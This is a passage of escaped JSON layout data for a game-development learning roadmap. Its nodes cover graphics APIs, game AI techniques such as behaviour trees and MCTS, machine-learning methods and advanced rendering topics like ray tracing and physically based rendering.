\"oldId\": \"yPfhJSTFS7a72UcqF1ROK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -125.40723871612443,\n        \"y\": 1541.409509249386\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oEznLciLxZJaulMlBGgg4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -124.41523232166008,\n        \"y\": 1594.409509249386\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"EVOiWAeZsIvjLTt3EYu-6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -124.41523232166008,\n        \"y\": 1594.409509249386\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yPfhJSTFS7a72UcqF1ROK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -0.7851794775092458,\n        \"y\": 1392.4861622120663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vulkan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -0.7851794775092458,\n        \"y\": 1392.4861622120663\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DvV32n3NoXNEej8Fsqqs2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -0.7851794775092458,\n        \"y\": 1339.4861622120663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SPIR-V\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -0.7851794775092458,\n        \"y\": 1339.4861622120663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hpf_CPmLpCSP8Qo07Kq1X\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -84.04934274317372,\n        \"y\": 1702.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CDYszS1U4v95GozB_drbt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -84.04934274317372,\n        \"y\": 1702.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ky-95ipdgyPZGAIdqwMCk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 147.45497250681115,\n        \"y\": 1702.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision Making\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"mUyzX-DXnIKDl-r9o8d38\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 147.45497250681115,\n        \"y\": 1702.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rwGivalwv2ozdSlVMSc4U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1755.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1755.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aJa_2xkZuSjQ5bt6Kj5oe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1808.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Machine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1808.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ztoW8fBY73Es624A_tjd7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1861.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavior Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1861.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4ZCVUpYrCT14d_JULulLe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1914.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fuzzy Logic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1914.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c6j-30p84vk3MZEF1R2hN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1967.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Markov System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 1967.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cuc0xvCAkVyUtwOxO_Uua\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.4323839005565,\n        \"y\": 2020.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Goal Oriented Behavior\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.4323839005565,\n        \"y\": 2020.215711596427\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mUyzX-DXnIKDl-r9o8d38\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 386.89905342267605,\n        \"y\": 1702.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Movement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 386.89905342267605,\n        \"y\": 1702.215711596427\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"eoK70YRCz73GmzbNhh5kg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1804.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Board Game\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"QD9TfZn3yhGPVwiyJ6d0V\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"positionAbsolute\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1804.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oOjGqicW3eqRwWyIwJdBA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1859.1290666268271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Minimax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QD9TfZn3yhGPVwiyJ6d0V\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"positionAbsolute\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1859.1290666268271\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KYCi4d475zZfNwlj6HZVD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1912.1290666268271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AB Pruning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QD9TfZn3yhGPVwiyJ6d0V\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"positionAbsolute\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1912.1290666268271\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QD9TfZn3yhGPVwiyJ6d0V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1965.1290666268271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MCTS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144\n      },\n      \"positionAbsolute\": {\n        \"x\": 387.89905342267605,\n        \"y\": 1965.1290666268271\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hpk8eOaOepERMmOvUgkxa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -84.04934274317372,\n        \"y\": 1905.2076829543832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CDYszS1U4v95GozB_drbt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -84.04934274317372,\n        \"y\": 1905.2076829543832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1G4wQLJCBBN0ynvbpc9DG\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -204.93174897756708,\n        \"y\": 1824.5505297319055\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 20,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -204.93174897756708,\n        \"y\": 1824.5505297319055\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"laGrI97zR5SEwbYims5E5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -204.93174897756708,\n        \"y\": 1796.8373859612675\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Maximise your skills\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -204.93174897756708,\n        \"y\": 1796.8373859612675\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ul5XnVwQCwr4ZaL4kBNpd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1790.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1790.5591247226812\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aw1BAGqrdBBmUwB6vMF_A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1737.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Naive Bayes Classifier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1737.5591247226812\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sz1047M8_kScjth84yPwU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1896.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision Tree Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1896.5591247226812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ltkEyfuDxExs7knqs79ya\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1949.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deep Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1949.5591247226812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AoH2r4EOHyZd8YaV24rBk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 2002.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Artificial Neural Network\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 2002.5591247226812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rGEHTfdNeBAX3_XqC-vvI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1843.5591247226812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reinforcements Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -524.0349097293682,\n        \"y\": 1843.5591247226812\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-QCv_s22wvTQ-OeQYgBUA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -270.90430753953456,\n        \"y\": 1737.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 313,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 313\n      },\n      \"positionAbsolute\": {\n        \"x\": -270.90430753953456,\n        \"y\": 1737.215711596427\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 313\n      }\n    },\n    {\n      \"id\": \"9_OcZ9rzedDFfwEYxAghh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -228.74983529021276,\n        \"y\": 1905.2076829543832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -228.74983529021276,\n        \"y\": 1905.2076829543832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CDYszS1U4v95GozB_drbt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -99.30821800196304,\n        \"y\": 2105.233172893317\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -99.30821800196304,\n        \"y\": 2105.233172893317\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_i7BXZq-iLxQc3QZRMees\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2105.233172893317\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Real-time Ray Tracing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"XvFtMHrYsBREmuerE7CGc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2105.233172893317\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qoIkw9o8iMx7MzUyVYoR2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2199.3409871463487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DirectX Ray Tracing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2199.3409871463487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tDGnV8dGIFr_diz4HcEjr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2252.3409871463487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vulkan Ray Tracing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GDLysy3__cbYidEaOmFze\"\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2252.3409871463487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GDLysy3__cbYidEaOmFze\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2305.3409871463487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OptiX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": 302.23120414171314,\n        \"y\": 2305.3409871463487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XvFtMHrYsBREmuerE7CGc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.38874871773237,\n        \"y\": 2105.233172893317\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Physically-Based Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -511.38874871773237,\n        \"y\": 2105.233172893317\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PuhXaRZ-Ql5PCqzMyz3en\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2247.4742913383143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Translucency & Transparency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2247.4742913383143\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H3hkafXO9zqEnWuwHa38P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2300.4742913383143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conservation of Energy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2300.4742913383143\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"olY1ibR7kw1yJ58TfU-37\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2353.4742913383143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metallicity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2353.4742913383143\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 